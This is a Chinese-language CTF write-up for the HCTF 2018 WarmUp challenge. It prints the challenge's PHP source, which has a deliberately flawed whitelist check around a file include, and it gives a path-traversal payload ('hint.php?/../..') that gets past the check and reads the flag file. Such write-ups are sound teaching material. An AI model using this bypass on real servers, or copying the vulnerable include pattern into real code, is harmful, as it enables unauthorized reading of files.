BUUCTF [HCTF 2018] WarmUp

开局一张图 直接查看源码

发现注释source.php

访问获得源码

    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?','?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

看见还有一个hint.php 访问

flag not here, and flag in ffffllllaaaagggg

看样子 应该flag应该就是在ffffllllaaaagggg里面了

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

			$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            
            if (in_array($_page, $whitelist)) {
                return true;
            }

发现只有source.php，hint.php能访问

$_page截取到page从零到问号的字符串
所以我们构造source.php?..或者hint.php?..即可绕过检测

最后REQUEST利用…/…/跳转目录读取flag

最终payload

file=hint.php?/../../../../../../../../ffffllllaaaagggg

访问获得flag